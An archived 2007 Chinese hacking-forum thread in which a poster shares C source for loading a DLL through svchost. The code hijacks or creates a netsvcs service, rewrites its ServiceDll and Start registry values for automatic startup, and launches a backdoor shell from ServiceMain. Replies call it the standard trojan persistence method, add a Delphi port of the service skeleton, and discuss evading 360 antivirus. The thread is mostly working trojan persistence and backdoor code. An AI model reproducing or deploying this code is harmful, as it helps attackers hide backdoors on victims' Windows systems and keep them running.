邪恶八进制信息安全团队技术讨论组's Archiver

dream2fly 2007-6-28 17:27

[原创]SVCHOST启动技术

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:dream2fly.net

//说明:大部门代码来自bingle的文章,感谢bingle,并加入装载自启动代码
//感谢使用,幻影光临白帽子实验室[url]http://www.dream2fly.net/forum[/url]
[language=c]
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;

//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );

//RealService just create a process dream2fly.net
int ControlService(DWORD dwCommand)
{
  char cmd[MAX_PATH] = {0};
  if (dwCommand == SERVICE_CONTROL_CONTINUE)
  {
    strcpy(cmd, "net start ");
  }
  else if(dwCommand == SERVICE_CONTROL_STOP)
  {
    strcpy(cmd, "net stop ");
  }
  strcat(cmd, stServiceCfg.szSvcName);

  PROCESS_INFORMATION pi;
  STARTUPINFO si;
  memset(&si,0,sizeof(si));
  si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  si.wShowWindow=SW_HIDE;
  if(!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError());
  else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);

  return 0;
}

int ReplaceService()
{
  int rc = 0;
  HKEY hKey = 0;
   
  try{
    char buff[500];

    //query svchost setting
    char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
      throw "";
    }

    DWORD type, size = sizeof buff;
    rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size);
    RegCloseKey(hKey);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegQueryValueEx(Svchost\\netsvcs)";

    for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
      if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break;

    if(*ptr == 0)
    {
      OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:");
      for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
        OutputString(" - %s", ptr);
      throw "";
    }

    //config service
    strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
    strcat(buff, stServiceCfg.szSvcName);
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
      throw "";
    }

    DWORD dwValue = 2;//auto start
    rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD));
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegSetValueEx(start)";

    ////////////////////
    char szDllPath[MAX_PATH] = {0};
    if(!GetModuleFileName(HMODULE(hDll), szDllPath, sizeof szDllPath))
      throw "GetModuleFileName() get dll path";

    LogToFile(szDllPath, GetLastError());

    strcat(buff, "\\Parameters");
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
      throw "";
    }
    rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegSetValueEx(ServiceDll)";


    OutputString("Config service %s ok.", stServiceCfg.szSvcName);
  }
  catch(char *str)
  {
    if(str && str[0])
    {
      rc = GetLastError();
      OutputString("%s error %d", str, rc);
    }
  }

  RegCloseKey(hKey);

  //启动服务
  ControlService(SERVICE_CONTROL_CONTINUE);

  return 0;
}

int RecoverService()
{
  int rc = 0;
  HKEY hKey = 0;
   
  try{
    LogToFile("RecoverService");
    char buff[500];

    //config service
    strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
    strcat(buff, stServiceCfg.szSvcName);
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
      throw "";
    }

    LogToFile("RegSetValueEx");
    DWORD dwValue = 3;//manule start
    rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD));
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegSetValueEx(start)";

    ////////////////////
    char szDllPath[MAX_PATH] = {0};
    strcpy(szDllPath, "%SystemRoot%\\System32\\qmgr.dll");

    strcat(buff, "\\Parameters");
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
      throw "";
    }
    rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegSetValueEx(ServiceDll)";


    OutputString("RecoverService(%s) SUCCESS.", stServiceCfg.szSvcName);
  }
  catch(char *str)
  {
    if(str && str[0])
    {
      LogToFile(str);
      rc = GetLastError();
      OutputString("%s error %d", str, rc);
    }
  }

  RegCloseKey(hKey);

//说明:大部门代码来自bingle的文章,感谢bingle,并加入装载自启动代码
//感谢使用,幻影光临白帽子实验室[url]http://www.dream2fly.net/forum[/url]

  ControlService(SERVICE_CONTROL_STOP);
  return 0;
}

BOOL InstallService()
{
  // Open a handle to the SC Manager database.
  int rc = 0;
  HKEY hKey, hkParam = 0;
  SC_HANDLE hscm = NULL, schService = NULL;
   
  try{
    char buff[500];

    //query svchost setting
    char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
      throw "";
    }

    DWORD type, size = sizeof buff;
    rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size);
    RegCloseKey(hKey);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegQueryValueEx(Svchost\\netsvcs)";

    for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
      if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break;

    if(*ptr == 0)
    {
      OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:");
      for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
        OutputString(" - %s", ptr);
      throw "";
    }

    //create service
    hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hscm == NULL)
      throw "OpenSCManager()";

    char *bin = "%SystemRoot%\\system32\\svchost.exe -k netsvcs";
    schService = CreateService(
      hscm,            // SCManager database
      stServiceCfg.szSvcName,          // name of service
      stServiceCfg.szSvcName,      // service name to display
      SERVICE_ALL_ACCESS,    // desired access
      SERVICE_WIN32_SHARE_PROCESS, // service type
      SERVICE_AUTO_START,   // start type
      SERVICE_ERROR_NORMAL,   // error control type
      bin,    // service's binary
      NULL,           // no load ordering group
      NULL,           // no tag identifier
      NULL,           // no dependencies
      NULL,           // LocalSystem account
      NULL);           // no password

    if (schService == NULL)
    {
      OutputString("CreateService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError());
      throw "";
    }
    OutputString("CreateService(%s) SUCCESS. Config it path %s", stServiceCfg.szSvcName, bin);

    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);


    //config service
    strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
    strncat(buff, stServiceCfg.szSvcName, 100);
    rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
    if(ERROR_SUCCESS != rc)
    {
      OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
      throw "";
    }

    rc = RegCreateKey(hKey, "Parameters", &hkParam);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegCreateKey(Parameters)";

    if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
      throw "GetModuleFileName() get dll path";

    rc = RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
      throw "RegSetValueEx(ServiceDll)";

    OutputString("Config service %s ok.", stServiceCfg.szSvcName);
  }
  catch(char *str)
  {
    if(str && str[0])
    {
      rc = GetLastError();
      OutputString("%s error %d", str, rc);
    }
  }

  RegCloseKey(hKey);
  RegCloseKey(hkParam);
  CloseServiceHandle(schService);
  CloseServiceHandle(hscm);
//说明:大部门代码来自bingle的文章,感谢bingle,并加入装载自启动代码
//感谢使用,幻影光临白帽子实验室[url]http://www.dream2fly.net/forum[/url]

  //启动服务
  ControlService(SERVICE_CONTROL_CONTINUE);

  return rc;
}

int UninstallService()
{
  int rc = 0;
  SC_HANDLE schService;
  SC_HANDLE hscm;
   
  __try{
    hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hscm == NULL)
    {
      OutputString("OpenSCManager() error %d", rc = GetLastError() );
      return rc;
    }

    schService = OpenService(hscm, stServiceCfg.szSvcName, DELETE);
    if (schService == NULL)
    {
      OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() );
      return rc;
    }

    if (!DeleteService(schService) )
    {
      OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() );
      return rc;
    }

    OutputString("DeleteService(%s) SUCCESS.", stServiceCfg.szSvcName);
  }
  __except(1)
  {
    OutputString("Exception Catched 0x%X", GetExceptionCode());
  }

  CloseServiceHandle(schService);
  CloseServiceHandle(hscm);

  ControlService(SERVICE_CONTROL_STOP);

  return rc;
}

void ServiceMain( int argc, wchar_t *argv[])
{
  char svcname[256];
  strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
  wcstombs(svcname, argv[0], sizeof svcname);
  OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);

  hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
  if( hSrv == NULL )
  {
    OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
    return;
  }

  TellSCM( SERVICE_START_PENDING, 0, 1 );
  TellSCM( SERVICE_RUNNING, 0, 0 );

  StartShell();//启动后门dream2fly.net

  OutputString("SvcHostDLL: ServiceMain done");
  return;
}

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
  SERVICE_STATUS srvStatus;
  srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  srvStatus.dwCurrentState = dwCurrState = dwState;
  srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
  srvStatus.dwWin32ExitCode = dwExitCode;
  srvStatus.dwServiceSpecificExitCode = 0;
  srvStatus.dwCheckPoint = dwProgress;
  srvStatus.dwWaitHint = 3000;
  return SetServiceStatus( hSrv, &srvStatus );
}

void __stdcall ServiceHandler( DWORD dwCommand )
{
  // not really necessary because the service stops quickly
  switch( dwCommand )
  {
  case SERVICE_CONTROL_STOP:
    TellSCM( SERVICE_STOP_PENDING, 0, 1 );
    OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
    Sleep(10);
    TellSCM( SERVICE_STOPPED, 0, 0 );
    break;
  case SERVICE_CONTROL_PAUSE:
    TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
    OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
    TellSCM( SERVICE_PAUSED, 0, 0 );
    break;
  case SERVICE_CONTROL_CONTINUE:
    TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
    OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
    TellSCM( SERVICE_RUNNING, 0, 0 );
    break;
  case SERVICE_CONTROL_INTERROGATE:
    OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
    TellSCM( dwCurrState, 0, 0 );
    break;
  case SERVICE_CONTROL_SHUTDOWN:
    OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
    TellSCM( SERVICE_STOPPED, 0, 0 );
    break;
  }
}
[/language]

mingjian987 2007-7-3 20:56

嘿嘿.好东东先藏下.那个试用的给源码bo?
还有楼主貌似在代码里加的广告多了点哈。呵呵

dream2fly 2007-7-10 22:26

[quote]引用第3楼mingjian987于2007-07-03 20:56发表的 :
嘿嘿.好东东先藏下.那个试用的给源码bo?
还有楼主貌似在代码里加的广告多了点哈。呵呵[/quote]
广告去掉了[s:264][s:266]

7个b 2007-10-4 21:24

[s:267] 可惜是C语言看不懂,哪位大牛帮忙翻译成Delphi就不错了...
典型的Svchost启动DLL木马方式,黑洞和小熊都用了这种启动方式....

sunwear 2007-10-4 21:34

楼上毫无意义的回复.
看注释都能明白大概流程 我们亲爱的可爱的敬爱的dream2fly 写的代码结构很清晰规范
调用这几个API也不是什么陌生的. 并不复杂.
你要不懂得用功 永远也看不懂.

icexiaoye 2007-10-5 01:22

[quote]引用第3楼7个b于2007-10-04 21:24发表的 :
[s:267] 可惜是C语言看不懂,哪位大牛帮忙翻译成Delphi就不错了...
典型的Svchost启动DLL木马方式,黑洞和小熊都用了这种启动方式....[/quote]

[code]
library ServiceDll;
  
  uses
   SysUtils,
   Classes,
   winsvc,
   System,
   Windows;
  
  { 定义全局变量 }
  var
   SvcStatsHandle : SERVICE_STATUS_HANDLE;
   dwCurrState : DWORD;
   ServiceName : PChar = 'BITS';
  
  { 调试函数,用于输出调试文本 }
  procedure OutPutText(CH:PChar);
  var
   FileHandle: TextFile;
   F : Integer;
  Begin
   try
   if not FileExists('zztestdll.txt') then
   F := FileCreate('zztestdll.txt');
   finally
   if F > 0 Then FileClose(F);
   end;
  
   AssignFile(FileHandle,'zztestdll.txt');
   Append(FileHandle);
   Writeln(FileHandle,CH);
   Flush(FileHandle);
   CloseFile(FileHandle);
  END;
  
    procedure DLLEntryPoint(dwReason : DWord);
  begin
  
   case dwReason of
   DLL_PROCESS_ATTACH:
   ;
   DLL_PROCESS_DETACH:
   ;
   DLL_THREAD_ATTACH:
   ;
   DLL_THREAD_DETACH:
   ;
   end;
  end;
  
  function TellSCM(dwState : DWORD ; dwExitCode : DWORD; dwProgress : DWORD ): LongBool;
  var
   srvStatus : service_status;
  BEGIN
   srvStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
   dwCurrState := dwState;
   srvStatus.dwCurrentState := dwState;
   srvStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE or SERVICE_ACCEPT_SHUTDOWN;
   srvStatus.dwWin32ExitCode := dwExitCode;
   srvStatus.dwServiceSpecificExitCode := 0;
   srvStatus.dwCheckPoint := dwProgress;
   srvStatus.dwWaitHint := 3000;
   Result := SetServiceStatus( SvcStatsHandle, srvStatus );
  END;
  
  PROCEDURE servicehandler(fdwcontrol:integer); STDCALL;
  BEGIN
  
   CASE fdwcontrol OF
  
   SERVICE_CONTROL_STOP:
   BEGIN
   TellSCM( SERVICE_STOP_PENDING, 0, 1 );
   Sleep(10);
   TellSCM( SERVICE_STOPPED, 0, 0 );
   END;
  
   SERVICE_CONTROL_PAUSE:
   BEGIN
   TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
   TellSCM( SERVICE_PAUSED, 0, 0 );
   END;
  
   SERVICE_CONTROL_CONTINUE:
   BEGIN
   TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
   TellSCM( SERVICE_RUNNING, 0, 0 );
   END;
  
   SERVICE_CONTROL_INTERROGATE:
   TellSCM( dwCurrState, 0, 0 );
  
   SERVICE_CONTROL_SHUTDOWN:
   TellSCM( SERVICE_STOPPED, 0, 0 );
  
   END;
  
  END;
  
  
  procedure ServiceMain(argc : Integer; VAR argv : pchar ); StdCall;
  begin
   { try
   begin
   if ParamStr(1) <> &#39;&#39; then
   svcname := strNew(PChar(ParamStr(1)))
   else
   begin
   svcname := strAlloc(10 * Sizeof(Char));
   svcname := &#39;none&#39;;
   end;
   OutPutText(svcname);
   end
   finally
   strdispose(svcname);
   end;
   }

   SvcStatsHandle := RegisterServiceCtrlHandler(ServiceName, @servicehandler);
   IF (SvcStatsHandle = 0) THEN
   BEGIN
   OutPutText(&#39;Error in RegisterServiceCtrlHandler&#39;);
   exit;
   END
   else
   begin
   FreeConsole();
   end;
  
   TellSCM( SERVICE_START_PENDING, 0, 1 );
   TellSCM( SERVICE_RUNNING, 0, 0 );
   OutPutText(&#39;Service is Running&#39;);
  

   while ((dwCurrState <> SERVICE_STOP_PENDING) and (dwCurrState <> SERVICE_STOPPED)) do
   begin
 showmessage(&#39;实在无聊&#39;) 
   end;
  
   OutPutText(&#39;Service Exit&#39;);
  
  end;
  
  
  // 导出函数列表
  exports
   ServiceMain;
  
  { dll入口点 }
  begin
   DllProc := @DLLEntryPoint;
  end.

[/code]

nipcdll 2007-11-2 08:32

不太实用,过不了360的主动防御

sunwear 2007-11-2 09:36

[quote]引用第7楼nipcdll于2007-11-02 08:32发表的 :
不太实用,过不了360的主动防御[/quote]
你觉得楼主的写这个的意义是在于anti hips吗

页: [1]
© 1999-2008 EvilOctal Security Team